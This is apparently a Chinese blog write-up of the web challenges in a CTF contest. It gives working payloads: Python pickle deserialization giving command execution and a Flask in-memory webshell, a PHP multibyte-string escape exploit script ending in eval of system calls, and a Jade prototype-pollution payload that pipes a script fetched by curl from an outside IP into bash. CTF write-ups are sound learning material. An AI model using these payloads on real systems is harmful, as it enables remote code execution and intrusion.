首页 > 其他分享 >黄河流域挑战赛WEB部分-gxngxngxn

黄河流域挑战赛WEB部分-gxngxngxn

时间:2024-05-12 20:52:15浏览次数:9  
标签:__ WEB mb app key import encode 挑战赛 gxngxngxn

黄河流域公安院校挑战赛WEB部分-gxngxngxn

myfavorPython

pickle反序列话,开启debug,用报错

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

Python-reverse

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

打了以后随便访问一个404页面,然后执行命令即可
具体分析看我flask内存马那篇文章
https://www.cnblogs.com/gxngxngxn/p/18181936

逃跑大师

mb_strpos与mb_substr执行差异导致的漏洞,参考

https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/

原理很简单,就是利用mb_strpos与mb_substr这两个函数对某些不可见字符的解析差异导致的

我们本地搭建个环境试验一下:

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end;
    return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;

这里我们正常传个字符可以看到,这个函数会截区[]里面包裹的内容

增加逃逸出一个字符(抽象的mb_strpos)

但是当我们传入%9f时,

可以看到现在截取的就不一样了,竟然后面少了一个字符,前面多了一个字符,我们可以看到start和end的值为0和15

就是说mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略,而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。

减少逃逸出三个字符(神奇的mb_substr)

再来看%f0两个函数是怎么识别的

可以看到mb_strpos函数是正常当成一个字符识别,但是mb_substr就很神奇了,他会把%f0连着后面的三个字符当成一个字符来识别,所以可以看到这里明显是少了三个字符

构造任意字符

那么简单来说就是%9f用来增加一个字符,%f0用来减少三个字符,我们利用这个特性,可以实现任意字符的构造,如下:

成功构造出gxngxngxn,这里是%f0和%9f配合使用

也可以单独使用%9f来实现逃逸

解题

接下来回归题目本身

 <?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}
class A{
    public $A;
    public $B = "HELLO";
    public $C = "!!!";
    public function __construct($A){
        $this->A = $A;
    }
    public function __destruct(){
        $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
        echo $key;
        eval($key);
    }
}
if(isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
}
else{
    echo "nonono";
} 

这里就是利用了这个原理来构造出任意代码执行,套了一个反序列化字符串逃逸,无伤大雅

直接放我的exp脚本:

import os
import re
import requests
#编码
def encode(string):
    encode_string = ""
    for char in string:
        encode_char = hex(ord(char)).replace("0x","%") #先转ASCII编码再转16进制,把0x替换为%
        # 例如 i+=1 == i=i+1;所以 encode_string = encode_string + encode_char
        encode_string += encode_char # encode_string += 空字符+结果
    return encode_string
#exp
def payload(cmd):
    print("url加密:"+encode(cmd))
    # 请用url全加密后的cmd替换原来的cmd!!!
    cmd1=""
    for i in range(len(cmd)):
        cmd1 += "$"
    cmd = cmd1 + cmd
    s = len(cmd)
    payload1 = '";s:1:"B";s:' + str(s) + ':"' + cmd + '";s:1:"C";s:9:"gxngxngxn";}'
    payload2 = ""
    for i in range(len(payload1)):
        payload2 += 'SDPCSEC'
    payload2 = payload2 + payload1
    payload2 = payload2.replace("$", "%9f")
    print(payload2)

exp=payload('system("cat /flag");//')

将得到字符串中的命令用url全加密后替换即可

Ezzz_Proto

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

看到引入了jade模板,并且/post路由存在明显的原型链污染,很明显是两个结合打jade模板引擎rce

参考文章:

https://www.anquanke.com/post/id/236354/

利用原文中的exp打打,发现不行,于是跟进底层断点调试

发现在此处将visit换成了visitCode,跟进visitCode函数里

发现这里也存在明显的拼接污染,可以rce,只要污染code.buffer为true,val处拼接我们命令执行的代码即可

payload:

{"__proto__":{"compileDebug":true,"self":true,"buffer":1,"val":"global.process.mainModule.constructor._load('child_process').execSync('curl http://81.70.252.29/1.txt|bash')"}}

标签:__,WEB,mb,app,key,import,encode,挑战赛,gxngxngxn
From: https://www.cnblogs.com/gxngxngxn/p/18187578

相关文章

  • 第二届黄河流域网络安全技能挑战赛Web_wirteup
    前言好久没写过比赛的wp了,黄河流域的web出的不错,挺有意思了,花了点时间,也是成功的ak了myfavorPython注册登录,一个base64输入框,猜测pickle反序列化,简单测试下,返回的数据是pickletools.dis解析的opcode结构,猜测其实已经load了,但是没回显,写个反弹shell的opcode:importpickleimpor......
  • 在Linux中,如何配置Apache或Nginx Web服务器?
    配置Apache或NginxWeb服务器涉及到多个方面,包括安装、基本设置、虚拟主机配置、性能优化等。以下是配置这两种流行Web服务器的一般步骤:1.ApacheWeb服务器配置安装Apache:对于基于Debian的系统(如Ubuntu):sudoapt-getupdatesudoapt-getinstallapache2对于基于Red......
  • 基于webapi的websocket聊天室(三)
    上一篇处理了超长消息的问题。我们的应用到目前为止还是单聊天室,这一篇就要处理的多聊天室的问题。思路第一个问题,怎么访问不同聊天室这个可以采用路由参数来解决。我把路由设计成这样/chat/{room}。访问不同路径就代表进入不同聊天室。第二个问题,怎么创建不同的聊天室原......
  • Blazor WebAssembly使用 AuthenticationStateProvider 自定义身份认证
    本文章以客户端基础,实现类似后台系统,进入后台控制台页面需要经过登录身份验证才可访问情况简单来时就是实现前后端分离,前端通过token和用户信息进行身份认证,或者在 AuthenticationStateProvider 实现方法 GetAuthenticationStateAsync 中调用后台接口进行身份验证安装依......
  • 基于webapi的websocket聊天室(二)
    上一篇-基于webapi的websocket聊天室(一)消息超传缓冲区的问题在上一篇中我们定义了一个聊天室WebSocketChatRoom。但是每个游客只分配了400个字节的发言缓冲区,大概100字。如果需要发送更多内容呢?难道直接增大缓冲区?这是一个办法。但还有其他办法。多次接受消息可以多次调......
  • webgl和canvas的区别
    webgl和canvas的区别WebGL和Canvas的主要区别在于它们的渲染方式、功能复杂性、以及编程难度。12渲染方式:Canvas使用2D渲染上下文来绘制图形和图像,基于像素的绘图系统,通过JavaScript脚本控制渲染过程。而WebGL(WebGraphicsLibrary)是基于OpenGLES标......
  • SpringBoot3集成WebSocket
    标签:WebSocket,Session,Postman。一、简介WebSocket通过一个TCP连接在客户端和服务器之间建立一个全双工、双向的通信通道,使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据,在WebSocket的API中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创......
  • Webshell流量分析之菜刀Chopper&蚁剑AntSword
    目录中国菜刀蚁剑菜刀和蚁剑的一句话木马的流量都有一个特点,都没有加密的,使用wireshark抓包来分析。中国菜刀中国菜刀是一款经典的webshell管理工具,具有文件管理、数据库管理、虚拟终端等功能。这里以菜刀2016为例。在服务器准备php一句话木马:<?php@eval($_POST['pass']);?>......
  • 使用nodejs创建返回xml的web server
    //ImportNode.jscoremodulei.ehttpconsthttp=require('http');constfs=require('fs').promises;consthost='localhost';constport=8000;constrssFileName="/news.rss";//Createwebserverconstserve......
  • 基于webapi的websocket聊天室
    上一次我已经讲了在webapi主机上面加入websocket中间件。这次就更进一步,搭建一个websocket局域网聊天室。传送门-->webapi添加添加websocket中间件聊天室websocket通信其实和win32api里面的消息循环差不多,只不过一个消息来自操作系统,一个来自网络。但核心都是一个阻塞的while......